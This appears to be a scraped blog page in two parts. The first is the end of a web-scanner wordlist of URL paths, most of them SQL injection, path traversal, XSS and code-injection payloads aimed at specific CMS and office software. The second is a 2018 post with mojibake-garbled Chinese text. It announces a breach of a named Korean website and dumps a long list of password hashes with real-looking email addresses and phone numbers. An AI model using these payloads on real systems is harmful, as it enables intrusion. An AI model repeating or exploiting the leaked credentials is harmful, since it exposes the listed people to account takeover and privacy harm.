/wap/index.php?mod=search&keywords=%df')%20and%20(select%201%20from%20%20(select%20count(*),concat((select%20concat(0x3a,md5(1122),0x3a)%20from%20my_admin%20limit%200,1),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23
/wap/index.php?mod=space&userid=1'%20and%20extractvalue(1,(select%20md5(1122)from%20my_admin%20limit%201));%20%23
/was5/admin/
/wc.db
/wcm/infoview.do?serviceid=wcm6_user&MethodName=getUsersByNames&UserNames=admin
/web-console/
/web/?id=-1'
/web/User_Sort_List.aspx?infoid=2%20and%20char(106)=0
/web/common/getfile.jsp?p=..%5C%5C..%5C%5C..%5C%5C..%5C%5Cetc%5C%5Cpasswd
/web/doc_hit.jsp?documentid=-21%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)
/web/server/serverstart.php?machineid=1%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x221%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
/web/systemconfig/guangboinfo.php?id=1%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x221%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23&from=list
/webConfigSet/configSetting.aspx?url=/login/index.aspx
/webSend/entity_show.jsp?unid=-1'%20or%201=2%20--&fileName=webscan.jsp
/webUser/webUser!list.action
/webadmin/
/webeditor/admin/
/webfm/webUI/uistrings.cgi
/weblogin/
/webmail/main/searchAddr.inc.php?value=123%25%27%29%20union%20select%20concat%28tm_name%2C0x23%2Ctm_domain%2C0x23%2Cmd5%280x4141%29%29%2Ctm_passwd%20from%20todaymail%20limit%200%2C1%23&ftm_id=103361
/webmanage/
/webmaster/
/webscan360noThisFile*~1*/.aspx
/webscan_360_cn.html
/website/approve/approveSiteAction!findApproveGuide.action?businesscode=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(119)%7C%7CCHR(101)%7C%7CCHR(98)%7C%7CCHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(110)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)))%20FROM%20DUAL)%20--&location=&subcode=000
/website/approve/approveSiteAction!listApproveModel.action?action=search&forward=searchmodel&issueTypename=&style=4&subType=1%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(119)%7C%7CCHR(101)%7C%7CCHR(98)%7C%7CCHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(110)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)))%20FROM%20DUAL)
/website/approve/convenientSiteAction!getSXList.action?department=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(119)%7C%7CCHR(101)%7C%7CCHR(98)%7C%7CCHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(110)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)))%20FROM%20DUAL)%20--&mill=488&style=4
/website/dflz/dflzCjAction!caiwugk_list.action?orgCode=&orgName=&zuOrgCode=&zuOrgName=&cwgkbbh=-21'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20--%20&cwgkbmc=
/website/level3.jsp?tablename=7&infoid=-1'%20UNION%20ALL%20SELECT%20CHAR%28119%29%2bCHAR%28101%29%2bCHAR%2898%29%2bCHAR%28115%29%2bCHAR%2899%29%2bCHAR%2897%29%2bCHAR%28110%29%2bCHAR%2858%29%2bCHAR%28105%29%2bCHAR%2859%29%2bCHAR%28102%29%2bCHAR%28105%29%2bCHAR%28110%29%2bCHAR%28100%29--
/webusr/check.aspx?loginname=nosec'%20and%201=char(106)%2bchar(106)%20--%20
/wei/js.php?type=like&keyword=1%2527)/**/UNION/**/SELECT/**/1,concat(0x7e,0x7765627363616E3A693A66696E64,0x7e),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51%23
/wescms/sys/order_adjust.php?id_f=1&order_f=2&id=3&dir=up&table=%28select%20count%28%2a%29%2Cconcat%28%28select%20md5%280x7765627363616e%29%29%2C0x7c%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a
/witapprovemanage/apprvaddNew.jsp?flowid=%27%20and%201=2%20UNION%20SELECT%201,2,3,4,char(106)%2bchar(60),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29;--%20-
/workflow/OfficeFileDownload.aspx?filename=1'%20and%20(select%20char(106)%2bchar(106))%3E0%20--
/workflow/flow_details.aspx?action=details&job_id=-12%20and%201=char(106)
/wp-admin
/wp-admin/
/wp-config.php.bak
/wp-content/
/wp-includes/
/wp-includes/registration-functions.php
/wp-includes/registration.php
/www/index.php?mod=admin&con=deliver&act=view&deliId=(select%20char(106)%2bchar(58))
/www/index.php?mod=admin&con=user&act=view&id=(select%20char(106)%2bchar(58))
/www/index.php?mod=admin&con=user&act=view&username='%20and%20(select%20char(106)%2bchar(58))=1%20--
/www/item_seach.php?tempsql=and%201=2%20UNION%20SELECT%201,2,concat(0x7c,md5(1122),0x7c),4,5,6,7,8,9,10,11,12,13%23
/wywzlist.aspx?OUGuid=1')%20and%201=char(106)%20--%20
/xampp/index.php
/xampp/showcode.php/showcode.php?showcode=1
/xyEmployee_checkLoginForUser.do?userName=reer
/yhzc/NewFile.jsp?loginname=admin'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'FrOd'='FrOd
/yhzc/isFlag.jsp?loginname=admin'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'FrOd'='FrOd
/yhzc/isPass.jsp?id=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'FrOd'='FrOd
/yp/job.php?action=applylist&genre=-1%2527%20or%20%2527a%2527=%2527a%2527
/yp/job.php?action=list&genre=-1%2527%20or%20%2527a%2527=%2527a%2527
/yp/product.php?pagesize=$%7B@print(md5(42873))%7D
/yp/product.php?q=&action=searchlist&where=%23
/yp/web/index.php?userid=999999999999999999999999999999999999&menu=die(md5($_GET%5bscan%5d))%3b&scan=webscan
/yushouli/yushouliResult.do?item_ID=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'1122'='1122
/yyoa/HJ/iSignatureHtmlServer.jsp?COMMAND=SAVESIGNATURE&SIGNATUREID=1&DOCUMENTID=1%25%27%20AND%20%28SELECT%209745%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%280x7175767971%2C%28SELECT%20%28CASE%20WHEN%20%289745%3D9745%29%20THEN%201%20ELSE%200%20END%29%29%2C0x716a656571%2CFLOOR%28RAND%280%29%2a2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27%25%27%3D%27
/yyoa/common/js/menu/initData.jsp
/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20database();
/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20md5(0x4111);
/yyoa/common/js/upload/modify.jsp?showPic=%3Cscript%3Ealert(42873)%3C/script%3E
/yyoa/ext/https/getSessionList.jsp?cmd=getAll
/yyoa/ext/trafaxserver/ExtnoManage/isNotInTable.jsp?user_ids=%281%29%20LIMIT%201%2C1%20UNION%20ALL%20SELECT%20CONCAT%280x3a6f70723a%2C0x4965736f7844706c6b4f%2C0x3a716e7a3a%29%23%29
/yyoa/ext/trafaxserver/ExtnoManage/isNotInTable.jsp?user_ids=(1)%20UNION%20ALL%20SELECT%200x43453B443A4152%23
/yyoa/ext/trafaxserver/SendFax/resend.jsp?fax_ids=(1)%20UNION%20ALL%20SELECT%200x43453B443A4152%23
/yyoa/ext/trafaxserver/ToSendFax/messageViewer.jsp?fax_id=1'%20UNION%20ALL%20SELECT%20NULL,0x43453B443A4152,NULL,NULL%23
/zabbix.sql
/zfcgFrame/xx_look.aspx?ID=-1%27%20UNION%20ALL%20SELECT%20char%28119%29%2bchar%28101%29%2bchar%2898%29%2bchar%28115%29%2bchar%2899%29%2bchar%2897%29%2bchar%28110%29%2bchar%2858%29%2bchar%28105%29%2bchar%2859%29%2bchar%28102%29%2bchar%28105%29%2bchar%28110%29%2bchar%28100%29--%20
/zfsmp/sjksz.do
/zhanshi/equzhanshi.aspx?equid=-301'%20and%201=char(106)%20--
/zhanshikebiao.aspx?centid=-301%20and%201=char(106)%20--&date=&xyid=
/zhanshikebiao.aspx?centid=-301'%20and%201=char(106)%20--&date=&xyid=
/zhuti/360webscan'
/znSearchAction.do?searchContext=-1%25%27%20UNION%20%20ALL%20SELECT%20%20NULL%2CNULL%2CCHR%28119%29%7C%7CCHR%28101%29%7C%7CCHR%2898%29%7C%7CCHR%28115%29%7C%7CCHR%2899%29%7C%7CCHR%2897%29%7C%7CCHR%28110%29%7C%7CCHR%2858%29%7C%7CCHR%28105%29%7C%7CCHR%2858%29%7C%7CCHR%28102%29%7C%7CCHR%28105%29%7C%7CCHR%28110%29%7C%7CCHR%28100%29%2CNULL%20FROM%20DUAL%20--
/zplug/ajax_asyn_link.old.php?url=../admin/opacadminpwd.php
/zplug/lib_xxx.php?code=huiwen_opac
/zwfw/zwfwInfoAction!execute.shtml?action=5&sid='%7C%7C(SELECT%20'ijx'%20FROM%20DUAL%20WHERE%201122=1122%20AND%204567=UTL_INADDR.GET_HOST_ADDRESS((SELECT%20chr(119)%7C%7Cchr(101)%7C%7Cchr(98)%7C%7Cchr(115)%7C%7Cchr(99)%7C%7Cchr(97)%7C%7Cchr(110)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%20FROM%20dual)))%7C%7C'
/zwgkinfo/DepartMentInfoList.aspx?CategoryNum=-12'/**/and/**/1=char(106)--&DeptCode=
/zxts_view.aspx?Id=4%20and%201=char(106)%20--&GBType=1
/zy/resource/fileSize/canUpload.do?folderId=document&userId=-12'%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x23,(SELECT%20md5(1122)),0x23,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20and%20'a'='a&spaceName=&totalFileSize=74126
/zyjs.asp?Txy=18&tzy=11'%20/**/and/**/1=char(106)%20--

from

The post 360webscanå­—å…ž 眑站检测 目圕挏掞扫描 appeared first on 🔰雚苁ℒ🔰.

↧

韩囜眑站数据泄露 甚户名user 邮箱mail 密码pw

September 25, 2018, 8:04 pm
$
0
0

韩囜眑站数据泄露 387䞪暗眑眑址

韩囜眑站数据泄露

泄露眑站 www.enanoit.co.kr

 䞺什么那么倚数据泄露? 尀其是圚䞭囜,什么郜芁实名讀证,电话泚册,泚册䞪垃土眑站还各种公民信息郜芁,䜠是魔鬌吗?这些信息给了䜠䜠华䞍胜奜奜的保存,劈的智障!党郚匿名泚册倚奜,数据被黑了也没卵甚,现圚这些泄挏的数据,什么郜枅枅楚楚的,䜕谈隐私保技?

site:https://www.enanoit.co.kr

pw
email
cyber_acc
used


*0E73435262AC422F8FCF20398AE98A2F0F4096D4
pelogvc@gmail.com
08203236197796

*B22ED38E2EED1BA87857F754A4E9A684BE85D5C1
zerg@live.co.kr
08203236197807

*70B9ED7F5A4DD6DB92009E54DD806875DE43E10D
5128561@naver.com
08203236197814

*F0E6CEBF5CADA82C334A9DBC2C78088B1BC29FAA
rlaejdnjs@naver.com
08203236197821

*F62A7D614E3AA60D0BD7C346A8B334CA7DFE3858
seon036@naver.com
08203236197839

*745EDBC72E6442031B7B89FC0B85F01519B0CAD3
doomgate17@naver.com


*A3D6BCFC5067A0253BDFDEE381968058CA1E4234
rkcmdh1@naver.com
08203236197853

*67DF7AF51AD403C438E704185AAF7B7A2A0C78AE
tlsgks369@naver.com

*45D205638B8138E93F70CC927AFE7329E11FEAD4
sung-ho40@hanmail.net

*F828D33B8B71850DDFC9428BCF13D2EDE34F61B4
rhatmxk02@naver.com

*2EFF99ABBD6A399DA01D3C8CADA5A0E1B0B76A6F
linwins@nate.com
08203236197369

*43A0EC74DA033472A7AD70D5031BECC92D8A88BB
naver.com

*BCB4C5B2B752DFF21491FA06C857D483BA54D288
gaja7421@naver.com
08203236197861

*EBF36ECCFC6ED401EA34F93C0D7B668F6C5293C3
marine8131@nate.com
08203236197878

*5924A4FD5FF0B0DF2080A35C98B6F97678E7B2C9
dannum@nate.com
08203236197885

*84B6A07BB42A35A7D22F9F68A8CA26F5336788C9

08203236197892

*0F87937B58C912ED69612F1B6D6135C8D80C1CAE

08203236197732

*684EBE97254FC2D3433B118FC60FD64BAE5E7624

08203236197903

*F8D0CD8E3CB71E4097512E7E9EA0C27FD0E72E0E

08203236197911

*F5FF85B2BC22E7C2A0A9EE5FA7FEE4B0FBEEB797
yskvv@haanmail.net
08203236197928

*F99B69F588993803443A3421A81A94EF4AF7E39D
sky2@enanoit.co.kr
08203236197419

*94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
iwebkr@test.co.kr

*FE725BA48776C1DA8D27B4A96DCBCCE291D42C42
gkthdnd@hanmail.net

*92424ED96402E1C0BBC94DC88040931E438D29EC
blackand12@Naver.com

*5B899B27C5C5A505B223B0A9370EF01A1F139AE5
ldw370@hanmir.com

*77810AC411E75D67E0238B52D1F53B34E388BC99
tlsehdals@naver.com

*51D1E3BDF3BE402DDF4E75D340C0D7D0E32717D3
acomma1229@gmail.com

*B59A7890066A44A5DE2340681EC055211A6CFFAE
sunkai@konkuk.ac.kr

*C5A4054557F4B3A5E6F86D3CFD5E6A543D3CD623
dlems2032@naver.com

*2A82BFB408CDE39EC5D964696B55CB25A327514F
emipas@naver.com

*A6A516584C585266D6DB3CE53C8AB99BE2A2E458
best254@naver.com

*5E022CD9BCF8F99FF6945652145EE4C21C508C2E
kimhuen220@naver.com

*DC7C481A5F8C04431B646BAB2EE9EB20C8C38CA5
gmchaos@naver.com

*45E10F4A6A5307A0D3D5D32DD07AE27F4445E78D
shina_two@naver.com

*EDCC29011E26E197C636F4C48652461B6216609E
sollo0101@naver.com

*B37D7E7E0C6B4A5F728A1D1FA8A61CC99CB46404
kflying@enanoit.co.kr

*0B47C998698C4B8529EBE19717F7DB710839AE26
www.dhdgkpp1.com

*984F62FE3A7906BFBC12D1268ABF6F8981BBC224
dnqls111@hanmail.net

*A4B6157319038724E3560894F7F932C8886EBFCF
rkdus2841@nate.com

*70A3FE98ED4A53A78246FD049718121204A90EFD
pok_jhs12345@naver.com

*185B11C0CCE0A8A080BA0A507BBE6BF1545D929C
choju1130@nate.com

*F6319239870C28EE99E5913C6A325A09EB10C4F7
jsnono12@naver.com

*B2C663FB87E4D965D6674030CCB0886F98F5236D
kss5723@naver.com

*2D93BF6F095AF3A476E61D44E35CB52B628EA994
admiN@bbimt13.net

*6B36958F802D3DD3732B9ECE794CE9AD07E2F8E4
admin@sunhao12.com

*686D8DE0F98062A22EC0994A90DA3211CF5FD5E6
sky-1981@hotmail.com

*6803969FF593428D9554BFB595CBE67DCAA445D4
dhfldl@gmail.com

*A8BEFAB2C63C11200B91EC216D24FDC9585FAA72
rlxoflslwl11@naver.com

*543E8C4D9ACDA686D444C6131E8019FA4AA105FA
sangjo4@naver.com

*8C0C76A722DA96F22451E7799BE7C6CFFFB2A438
jjw02399@naver.com

*55C8A7F6A5AF1B3BC3B81FC872D3D98D9317B06A
2__li_n_a@naver.com

*FAC70BFFD2DA5AE2D97028772EF3974D55E25C78
amonduul@naver.com

*2C134DD27582163219D2C1537772A723C3AB31EE
eks110@nate.com

*95362C1822278E6E3F8B02B78032855BF9E95DF5
pyh4775@hanmail.net

*D42298190CF9EF7DC3CC8F9CD92068899245D9A3
managerlsb@hanmail.net

*3BAFEC338BAD702D208FCAB2F1F2F98DC1464D72
fgfdg@dfsdff.net

*02735234DF217B099A4835C8E0B6A360D52DD415
smtm1000@nate.com

*E06180D8946E4546FDCBFEE3C47FDC0D05C9C3C8
hoony1048@naver.com

*DF5741E5B26EDDF9EA012775349FCDD529EC0ED5
ehdcjfl486@nate.com

*D53DAFFAFA52871654FAD5617D768669BA3B8C74
in0ter@naver.com

*0A10FBFCC1D7251BF74AE268E5FF70F331B632D6
pbh1105@naver.com

*3BB2D296231F8EC088113BD6B588E65A304C1618
kss2740@sunhao12.com

*4981B441D110FEB1ECC57A5B12AF44F39DF1F08A
ka123@naet.net

*94B2528EE73FDF5120C93DA0BD4BE33CD46F5A25
goldtip72@gmail.com

*D36C0288C6B696D4EA95AED5A9F5784F9679A4B3
h0use@naver.com

*E8A0353B56591CD7F5924250C98AB7141B5BE64C
you__ok@naver.com

*DFE51F930D7E9D4A53129EBDA2482B05E330E333
pjw1406@naver.com
08203235997828

*80930F2DF72A04EA898E7BB14988D7F1D8ED8EBE
pallx@hanmail.net

*71314EFC03EC83C7098975354DC5C5AC9C6F9D9B
userinit@nate.com

*FCD90EC3985BF9253E744DDAA5A1E518C8037937
kug@enanoit.co.kr

*A5961556BE63A25659827FDA40B1E567B537B0EA
s_____m@nate.com

*574CD4BD2A499C1D46463DE2583723E95DBEE676
zmfldp123@naver.com
08203235997850

*3BFDCEFA9636CFC025AD2A3654366935EA8EF430
lcq0104

*5CA77B0002EE132AEEFE2F0116AD40EC557DB056


*4EEC883C8EE98EEF794ACA81D35CCB2E167F7E07
samgook114@nate.com
08203236097326

*3D4A65A196F190A1B571CBBE50EE4B2F6DCE0D69
slki00@paran.com

*63442620C941DE6215447D9D826C338974032323
towar123@nate.com

*368647DF04AD6B31A1236DE9DD6C5BC50371AC5A
chamundararpg@nate.com

*A58B7A2DFC6A5F34066852D045C451570029C4A4
alsgh6033@naver.com

*3D949FE0956FDA71E6BA3839EEDE75D4C5B9B5DE
cjdeoans10@naver.com

*712B69033BB2C08B8E1243774687F3DE968DBBF4
wmr05529@naver.com

*28E50339C1EE0D1719803CD4CB35759303B7D633
azxcs3@nate.com

*51F206DD72E22FFD79E5F3DA340A330F2ABB3F14
sun5259@naver.com

*A80C8DEBF24EB9FEE807BDCAAA55F76482806EFB
ms_handsome@naver.com

*67CC22C8C310CD0A3F4D23C9DF80DB8DFE93390F
dafafw@awf.com

*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
rkwk@naver.com

*820BC565F1648637E96BB5BAC98F559883AB5F02
lds7913@hanmail.net

*F03C092347181DEA76E3F4FD6DD6A5E608721BC1
dopani@brainclan.com

*2AA92234E2C91AC9A82C0A17305236350F0080E9
best_kr@naver.com

*B5B5D09566E7DCD953DA6E6356B9A4249343A777
qee0@naver.com

*A9DF534A67E513E45A33FAB5F8006876B6A6E70D
fuuhaa3@naver.com

*0BBDBF6F2AAAE9CD2E1BA059F28C119BB0BADE1A
ajtwoddl1226@naver.com

*A4B6157319038724E3560894F7F932C8886EBFCF
lovesick88@naver.com

*2D5C5DF0AC7C201FCB0B5AE70578AAAF5AB0FB00
rbtjrdua@naver.com

*728E6DC94BE98A75180B9355C87E04A7ACCC3C36
qwaszx2003@paran.com

*4AFD223D2ED69274D1A87400E99596F452EFA140
ysmysm3@naver.com

*A93CAA489E625FBF80229830ECF457FF1EFA2BE7
yjk8978@hanmail.net

*E5F2614C05BA3630C4FC2ADB4E2D96BB67BA14E0
hojin0516@nate.com

*22BF8B00D1F8E8A6FE88C67EE6A48C91C3CCE93F
rlqordlekd@naver.com

*A312A25D11A18A1207A7436CAA3E97E7111FDF60
zxasdc5@hanmail.net

*A257D1BF31F75155F488B1F45D70B95DCFB9906A
say4m@daum.net

*B4FE4D945DE6515ADBB85508D6C0D7425828B2FF
o_mnipotent_@naver.com

*BA7175A06C8CDFA7E4961F926FB0AD736F72EEFC
tun_makin@naver.com

*38821420F44D5FDC398358D7EA8995932ECC752A
dkak3434@naver.com

*AEABADD50CC9D5C01E41D226F1251FF7FBC42C8B
cjdwndntlwkd@naver.com

*1A9FE5915FE512D6BB29B92DF42C819B241093A1
faceadm@naver.com

*797F5B3B6A22259F194DD960BE15A3D2E2D6D0E9
theguard@nate.com

*89CB993139D27CED73DC34407B0384E3C5438CC5
hot7415@hanmail.net

*3EFA523597602AE93167BBAA85784FAC2C252E6F
line_______@naver.com

*8D9F6EDA34A381499BED0A1682157EA9AFBD77BB
smr@naver.com

*7C932D9592C405F9AEE2BB421B78DD75E7E79F47
wnsdud4479@naver.com

*0625C6B7FC85691CA90D39A06E620FED9C079CD2
jesskiki@hanmail.net

*333044DD598B8FD5F37AEDC9056943E60325024D
tooi969@naver.com

*778CBC28961CA6551A469BB6B6D3DF706E84FBFD
saer21@nate.com

*C46BDF033BE9EEAF2D005D96F89D780786D560C6
dnjswns900@nate.com

*32CACBAA1B70A4145AF20A5FC68879CF86C9D013
yep68@naver.com

*D7096F98DF0506CEDA37ACF4CCA8C4C16E6DE462
sictopia@nate.com

*BC3010E728C11F9E070AA2269059045DBF79E111
ggghhhjjj@nate.com

*E86B6FD1C6FE2F23C0D815DB16B127E8FD4F1CCF
sinhwa151@naver.com

*BBCAE25DAC02B3C2F287095F07A58AA7F2780982
percenta77@nate.com

*A1113D3BE0C58B23AB5D5FD90056F56A1626D53B
mir0512@naver.com

*D7096F98DF0506CEDA37ACF4CCA8C4C16E6DE462
sysnzl123@naver.com

*A0EA4AA6D09518CD978465EE7D54FCB13BBF9397
brand__adm@naver.com

*641444A168C60C789B3864F2ECBD1BAE3C1A1810
rweafd@naver.com

*4F1AB2BBF6479E9DDE9A2AFCCD94F8AA12ED1061
kstok00@naver.com

*320E98B5FD3478244F26D233B139F2CF09A4FBB8
lsylsy1@hanmir.com

*53F36AE5B1AB0249FDCE57DB08AD9B093C244948
whitejun99@naver.com

*5E469F885535F10962A8A69CA47FE8367BFB81E4
doan0105@naver.com

*0B0D8D5030E96AA354F80ADC44A8DC9E41267ED8
seodongin11@nate.com

*8835E42E31D677FC03794C394FCB6B95833FA2E0
camus0617@naver.com

*0FFF5B17B1CF46F033FDFB578F44D4CDD136866F
kasia__adm@naver.com

*4E44AB47086F19B0B11CECA6273231945AB29063
alcestzoey@naver.com

*2686C6E4FAF6123D097E54F6A6426FD69A1CFBE6
wnsdud44789@naver.com

*C07826A9DDE5B9CCAA2D5750F1E0A74A74906560
game4528@naver.com

*41F66D3C50D9DC3EC873525933A27D8F4F8083F0
yang0022@hanmail.net

*F8D156461399B7B8154000FB1DF806B59693FA7F
koseal1029@naver.com

*DA719EC28328C879A582707D47FF98A9DCE9571C
fkxj15@naver.net

*25EC925C86EF55A4338E9582371282237AFCACB4
gmltjr1313@naver.com

*270A2DF111734C312B37429D01BC4BCEA2E99696
nell_tive_@naver.com

*824D1B3071D4F0DC226585ACE16D46DD9B9FFB7E
akdsus@nate.com

*CBEA66B9817A5B47D5B659A53D4E9E727D5B738B
diaelfs@naver.com

*015146EEE4868DD38A2BAC1394A69C1C3911F142
gsm03255@Naver.com

*AF9E401053BFD00561228986403E690437876F9F
8124eve@hanmail.net

*0F0514B0E5E5B1899E8A12B866DBF97744F4A845
skl219@naver.com

*DE651DF50D1DDE1B695AABECF780803DF05E7BA6
nzz@naver.com

*2782490336F4FCE05EC7071E947922CAC6A0AF51
z15150@daum.net

*FE145F3A2CCA7ABD99C55178F37AE6D4EBC0CA95
mul_mang@nate.com

*18B8DD798A0A8B6AAAA5B61BF60AB97CC6A227D4
cogle_@naver.com
08203235997899

*7036AA43D5150826B143E704334B1230E6BBCA90
asqw10000@naver.com

*EC6FDF3C89B91274B5ECB75E48B8B64801205D64
kt10004sm@naver.com

*A8B202A536688E4F6DD995FC1B1939F0A63CF99B
2416727@naver.com

*B0B2FE211ACE141EF6896837BC6903C304264DB4
kt-_mr@nate.com

*5756BE04A85F94232603799176962DA3B4C2BA2C
ma_bel_@naver.com

*DF06A42A5FDFF818B934BEE3F8E30F0F3C4DD6BB
rhatmxk02@naver.com

*31EC1CC92BD1C284148A43DD8AB82A117DF77D44
neo_1_sniper@naver.com

*DC9F941097288AE4D95D0948A67EECB78CAD9F12
gogo9973@aim.com

*F8FC1B7972AEB05ED8F0248088E5DD60B776B489
s_char@naver.com

*BF58B02E7C797C5F294102B5CD4187A0BC997F25
oms44444@naver.com

*B89258450FD4E8A53C6D30F596F83942EBCD0004
parkchs00@naver.com

*522391BC7E91F6B445661B646127F763E66E70CE
gg5803@naver.com

*F846B31F10DD4389C384272E70B9BBA3AD9E1F94
lust_caution@hotmail.com

*ECFA6B4FE2FCB93DF2B85D0ACDF30BF481B528C8
wldn415@naver.com

*3CE83CF4F8D3C90190D2E1CD9C83FA9A4D851C37
nuts_tr@naver.com

*B9B196F3A510896DBE4D7C5A88C0C7F649B05362
ldh2521@nate.com

*8C8587A8E447237EC6B474AF5E5DA559287E20F3
90woghdl@naver.com

*51D0E89B59C6480A267B9CEC5BF59E445626C3DC
ckzksdnjsQkd@nate.com

*A92D5477F491F57E7D5BF1C4D35D7631A2E1572F
xmanwin@hanmanil.net

*763A04221384EEDEEE693117417E0D109E3C6394
corrina@daum.net

*65A3B2B3F355AF57811A2F41C15E69A3CB7D3E0E
actorksh@nate.com

*CEE56906FC0B1621C567D5C9437BC65749234B42
k33man@gmail.com

*8F5F7BAA0B0A95F07ACF06EAC74F8863564DC19C
jch800515@naver.com

*5893793E9B6AA047CF868A13F437BE74ACCCAC70
o_oconfi@naver.com

*B11A37D34204DDBE2A1445D70BD6A812F3FF85B5
aw4t4t@naver.com

*1C07D49851B99958F6FB9E2B8C2EAC956D6E03BE
kitty12544@nate.com

*93514E75C7362E420E00EF877315C18D3CABD472
a11b22c33@hotmail.co.kr

*CD0D2D9DB3E168BE418DB79AC1FBF7FD23AE9FBF
ssslll@gmail.com

*AEAB49381B1CCAEFC1F1611D213EEFEA377C7990
secsd@nate.com

*D610A04681B00D575EAB0AC6D7E86CA2BC1479E7
pootout@naver.com

*502616D9AC7F0579804B05B4732C276127F9F567
asdf5404@naver.com

*1FD70404330BD2736D43776B0D128ECD71C0D124
kinghyg@naver.com
08203236197935

*5DC97D739F51A6C90269BAF4814ADAEF9E96B3FB
xogusms311@naver.com

*5872C86792D1BDD7B44AC0BB47BB81BF8F0AD9C7
pok_00700@nate.com

*204C8A3B79DC1533866049F6819865291C5E6AD5
sdasd@asda.sadsad

*CF14A1370861D4F683DC35BF6002C8B1D0312745
